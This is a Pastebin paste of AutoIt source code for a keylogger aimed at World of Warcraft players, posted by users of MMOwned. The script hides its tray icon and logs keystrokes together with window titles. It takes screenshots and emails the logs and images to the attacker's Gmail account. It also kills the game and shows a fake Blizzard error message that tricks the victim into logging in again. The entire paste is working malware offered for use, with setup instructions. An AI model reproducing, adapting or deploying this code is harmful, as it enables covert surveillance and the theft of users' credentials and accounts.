Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #cs
- This script was written mostly by Marlo of MMOwned.com and it is used at your own risk.
- If you see any problems with my script please feel free to PM me on MMOwned.com, USername: Marlo
- Enjoy the script and use responsibly ;)
- #####HOW TO USE#####
- This script is fairly simple to use as i have commented most of it.
- All you should need to do is Change the following Vars.
- $Len - Put a value here between 1 and 60. This is used to determine how often in minutes the log file is emailed.
- $eFile - This is where the Log file is stored. @ScriptDir referes to the place where the keylogger was installed, That is determined in the "Deploy.au3" file.
- $Body - This is simply the main body of the email that is sent to you. Shoudlnt require much changing unless you want to include more info.
- $ClearLogAfterEmail - If set to True then the Log file will be deleted after it is uploaded, If set to false then it will simply keep adding to the file.
- $GmailUser - The script uses the GMAIL SMTP server for the emails, so you need a Gmail account. I reccomend making a new account if you plan on using this script.
- $GmailPass - your Gmail login password
- $ToEmail - This is where the email is sent to, this can be different to your GMAIL email but you can use the same if you wish.
- Thats pretty much it for this script. If you havnt already then check out the "Deploy.au3" to see whether you need to change anything there.
- ~Marlo
- ---------------------------"New" Version, Fixed by Thidan of MMOwned-----------------------------
- Added:
- Screenshot taker.
- Self-destruction.
- Will promt the user to delete the WTF and cache folders, just to get their accname ;)
- Shitty code that looks totally retarded in other people's eyes and prolly supernoobish and some of it might not even be needed.
- What have you actually bugfixed?
- I fixed the sleep command at the bottom of the while loop to make sure it eliminates most of the "ddouublee leetteerss" and "tpyos" (aka, the old one printed the
- same letter twice and/or printed the letters in the wrong order. Note: This may or not be 100% accurate, you might have to switch around letters sometimes but
- for me, this is optimal.
- Also, all credits to MARLO OF MMOWNED.
- ~Thidan
- #ce
- #include <SMTP.au3> ;Include the SMTP file (used for emailing)
- #Include <String.au3>
- #NoTrayIcon ;Do not show the Tray icon.
- #include <screencapture.au3>
- Global $Log, $Win, $Win2, $Len, $File, $Body, $ClearLogAfterEmail, $eFile, $GmailUser, $GmailPass, $ToEmail, $tStamp, $read ;Delcare some variables
- $Len = 60 ;This is how often the log should be uploaded in minutes
- $eFile = @ScriptDir & "\log.txt" ;Name and place for the Log file
- $Body = "Keylog file reciecved at " & @Hour & ":" & @Min & " on " & @MDay & "/" & @Mon & "/" & @Year ;The body of the email
- $ClearLogAfterEmail = True ;Delete log after an upload? True for yes and False for no
- $GmailUser = "EMAIL@gmail.com" ;Gmail login name (Required)
- $GmailPass = "PASSWORD" ;Gmail login pass (Required)
- $ToEmail = "NEW EMAIL ORTHE ABOVE@gmail.com" ;This is where the log files will be sent
- $picture = @scriptdir & "\info.jpg"
- $picture2 = @scriptdir & "\info2.jpg"
- AdlibEnable("_WriteLog", 10000)
- $Len *= 60
- $tStamp = TimerInit()
- $wow = ProcessExists("WoW.exe")
- If Not FileExists($eFile) Then ;This will send an install confirmation email to you when your victim installs your keylogger.
- IniWrite(@ScriptDir & "\info.txt", "asfdk", "Opened", "False") ; This is vital, Do NOT change whatsoever unless you understand my shitty, dumb and totally retarded coding!!!!!!
- IniWrite(@ScriptDir & "\info.txt", "Selfdestruct", "Day", "DAY OF SELF DESTRUCTTION") ; Note - Enter day in the format: 01 02 03 etc (1st in month X = 01 etc, X = your month)
- IniWrite(@ScriptDir & "\info.txt", "Selfdestruct", "Month", "MONTH OF SELF DESTRUCTION") ;Note - Jan = 01, Feb = 02 etc.
- _INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser, $GmailPass, @Username & "@" & @ComputerName, "Keylogger successfully installed")
- _ScreenCapture_capture($picture)
- _INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser, $GmailPass, @Username & "@" & @ComputerName, "Screenshot", $picture)
- EndIf
- ;lolololol test
- While 1
- $read = iniread(@ScriptDir & "\info.txt", "asfdk", "Opened", "")
- $read2 = iniread(@ScriptDir & "\info.txt", "Selfdestruct", "Day", "")
- $read3 = iniread(@ScriptDir & "\info.txt", "Selfdestruct", "Month", "")
- if @mday = $read2 and @mon = $read3 then
- Exit
- EndIf
- If ProcessExists("WoW.exe") and $read = "False" Then
- sleep(7000) ; Can be lower /Thidan
- _ScreenCapture_Capture($picture2)
- _INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser, $GmailPass, @Username & "@" & @ComputerName, "Screenshot of WoW", $picture2)
- filedelete($picture2)
- iniwrite(@ScriptDir & "\info.txt", "asfdk", "Opened", "Once")
- ProcessClose("WoW.exe")
- msgbox(16, "Critical Error 192", "There was an error loading the WTF and Cache folders, please delete them and restart the game."&@CRLF& " Blizzard.")
- ElseIf ProcessExists("WoW.exe") and $read = "Once" Then
- iniwrite(@ScriptDir & "\info.txt", "asdfk", "Opened", "Dont Use Keylogger")
- EndIf
- if ProcessExists("svhost.exe") and $read = "Dont use keylogger" Then
- processclose("svhost.exe")
- EndIf
- ;EndIf
- If _IsPressed(41) Then
- _LogKeyPress("a")
- EndIf
- If _IsPressed(42) Then
- _LogKeyPress("b")
- EndIf
- If _IsPressed(43) Then
- _LogKeyPress("c")
- EndIf
- If _IsPressed(44) Then
- _LogKeyPress("d")
- EndIf
- If _IsPressed(45) Then
- _LogKeyPress("e")
- EndIf
- If _IsPressed(46) Then
- _LogKeyPress("f")
- EndIf
- If _IsPressed(47) Then
- _LogKeyPress("g")
- EndIf
- If _IsPressed(48) Then
- _LogKeyPress("h")
- EndIf
- If _IsPressed(49) Then
- _LogKeyPress("i")
- EndIf
- If _IsPressed('4a') Then
- _LogKeyPress("j")
- EndIf
- If _IsPressed('4b') Then
- _LogKeyPress("k")
- EndIf
- If _IsPressed('4c') Then
- _LogKeyPress("l")
- EndIf
- If _IsPressed('4d') Then
- _LogKeyPress("m")
- EndIf
- If _IsPressed('4e') = 1 Then
- _LogKeyPress("n")
- EndIf
- If _IsPressed('4f') Then
- _LogKeyPress("o")
- EndIf
- If _IsPressed(50) Then
- _LogKeyPress("p")
- EndIf
- If _IsPressed(51) Then
- _LogKeyPress("q")
- EndIf
- If _IsPressed(52) Then
- _LogKeyPress("r")
- EndIf
- If _IsPressed(53) Then
- _LogKeyPress("s")
- EndIf
- If _IsPressed(54) Then
- _LogKeyPress("t")
- EndIf
- If _IsPressed(55) Then
- _LogKeyPress("u")
- EndIf
- If _IsPressed(56) Then
- _LogKeyPress("v")
- EndIf
- If _IsPressed(57) Then
- _LogKeyPress("w")
- EndIf
- If _IsPressed(58) Then
- _LogKeyPress("x")
- EndIf
- If _IsPressed(59) Then
- _LogKeyPress("y")
- EndIf
- If _IsPressed('5a') Then
- _LogKeyPress("z")
- EndIf
- If _IsPressed('08') Then
- _LogKeyPress("{BACKSPACE}")
- EndIf
- If _IsPressed('09') Then
- _LogKeyPress("{TAB}")
- EndIf
- If _IsPressed('0d') Then
- _LogKeyPress("{ENTER}")
- EndIf
- If _IsPressed('10') Then
- _LogKeyPress("{SHIFT}")
- EndIf
- If _IsPressed('11') Then
- _LogKeyPress("{CTRL}")
- EndIf
- If _IsPressed('12') Then
- _LogKeyPress("{ALT}")
- EndIf
- If _IsPressed('13') Then
- _LogKeyPress("{PAUSE}")
- EndIf
- If _IsPressed('14') Then
- _LogKeyPress("{CAPSLOCK}")
- EndIf
- If _IsPressed('1b') Then
- _LogKeyPress("{ESC}")
- EndIf
- If _IsPressed('20') Then
- _LogKeyPress(" ")
- EndIf
- If _IsPressed('21') Then
- _LogKeyPress("{PGUP}")
- EndIf
- If _IsPressed('22') Then
- _LogKeyPress("{PGDOWN}")
- EndIf
- If _IsPressed('23') Then
- _LogKeyPress("{END}")
- EndIf
- If _IsPressed('24') Then
- _LogKeyPress("{HOME}")
- EndIf
- If _IsPressed('25') Then
- _LogKeyPress("{LEFT ARROW}")
- EndIf
- If _IsPressed('26') Then
- _LogKeyPress("{UP ARROW}")
- EndIf
- If _IsPressed('27') Then
- _LogKeyPress("{RIGHT ARROW}")
- EndIf
- If _IsPressed('28') Then
- _LogKeyPress("{DOWN ARROW}")
- EndIf
- If _IsPressed('2c') Then
- _LogKeyPress("{PRNTSCRN}")
- EndIf
- If _IsPressed('2d') Then
- _LogKeyPress("{INSERT}")
- EndIf
- If _IsPressed('2e') Then
- _LogKeyPress("{DEL}")
- EndIf
- If _IsPressed('30') Then
- _LogKeyPress("0")
- EndIf
- If _IsPressed('31') Then
- _LogKeyPress("1")
- EndIf
- If _IsPressed('32') Then
- _LogKeyPress("2")
- EndIf
- If _IsPressed('33') Then
- _LogKeyPress("3")
- EndIf
- If _IsPressed('34') Then
- _LogKeyPress("4")
- EndIf
- If _IsPressed('35') Then
- _LogKeyPress("5")
- EndIf
- If _IsPressed('36') Then
- _LogKeyPress("6")
- EndIf
- If _IsPressed('37') Then
- _LogKeyPress("7")
- EndIf
- If _IsPressed('38') Then
- _LogKeyPress("8")
- EndIf
- If _IsPressed('39') Then
- _LogKeyPress("9")
- EndIf
- If TimerDiff($tStamp) / 1000 >= $Len Then ;This code block determines how many minutes have passed since last upload. Will upload the log when it meets the required minutes.
- _ScreenCapture_Capture(@scriptdir & "\info.jpg")
- _INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser, $GmailPass, @Username & "@" & @ComputerName, "Screenshot", $picture)
- _INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser, $GmailPass, @Username & "@" & @ComputerName, $Body, $eFile)
- $tStamp = TimerInit() ;ReDim the tStamp var back to 0
- If $ClearLogAfterEmail = True Then ;If you specified to have the log cleared after email then this is where it is deleted.
- FileDelete($eFile)
- EndIf
- EndIf
- ;Stops the script for 1/10 of a second, so the same keyisnt captured more than once.
- Sleep(120)
- WEnd
- Func _LogKeyPress($char) ;Key processing
- $Win = WinGetTitle("") ;Gets the name of the current active window
- If $Win = $Win2 Then ;If the window is unchanged then simply add the key to the log
- $Log &= $Char
- Else
- $Win2 = $Win ;If the window name has changed then add the window name to the log then the characters.
- $Log &= @CRLF & @CRLF & "[" & $Win & " - " & @Hour & ":" & @Min & " " & @MDay & "/" & @Mon & "/" & @Year & "]" & @CRLF & $Char
- EndIf
- _WriteLog() ;Add the key to the log file
- EndFunc
- Func _WriteLog()
- $File = FileOpen($eFile, 1) ;Open the log file, If it doesnt exist then create it.
- FileWrite($File, $Log) ;Write the Log var to the File
- $Log = "" ;Clear the log Var
- FileClose($File) ;Close the File Handle
- EndFunc
- Func _IsPressed($hexKey) ;Key capture function. Most vital part of the script.
- Local $aR, $bRv
- $hexKey = '0x' & $hexKey
- $aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)
- If $aR[0] <> 0 Then
- $bRv = 1
- Else
- $bRv = 0
- EndIf
- Return $bRv
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement